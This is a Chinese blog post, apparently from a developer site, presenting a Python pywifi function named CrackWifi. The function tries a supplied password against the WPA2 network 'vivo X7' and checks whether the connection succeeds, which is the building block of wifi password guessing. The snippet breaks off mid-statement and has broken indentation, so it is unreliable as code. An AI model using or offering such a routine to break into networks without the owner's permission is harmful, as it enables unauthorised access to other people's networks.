python 利用pywifi模块实现连接网络,破解wifi密码,实时监控网络

import pywifi
from pywifi import *
import time

def CrackWifi(password):
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0] # 取一个无限网卡
# 是否成功的标志
isok = True

if(iface.status()!=const.IFACE_CONNECTED):
    profile = pywifi.Profile()
    profile.ssid = 'vivo X7'
    profile.auth = const.AUTH_ALG_OPEN          #需要秘密
    profile.akm.append(const.AKM_TYPE_WPA2PSK)  #加密类型
    profile.cipher = const.CIPHER_TYPE_CCMP     #加密单元
    #profile.key = '123456789'                  #在此输入你的wifi密码
    profile.key = password

    #time.sleep(3)
    wifi = pywifi.PyWiFi()
    iface = wifi.interfaces()[0]  # 取一个无限网卡

    profile = iface.add_network_profile(profile)
    iface.connect(profile)
    time.sleep(3)        #程序休眠时间3秒;如果没有此句,则会打印连接失败,因为它需要一定的检测时间

    if iface.status()==const.IFACE_CONNECTED:
        print("连接成功!!!"
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值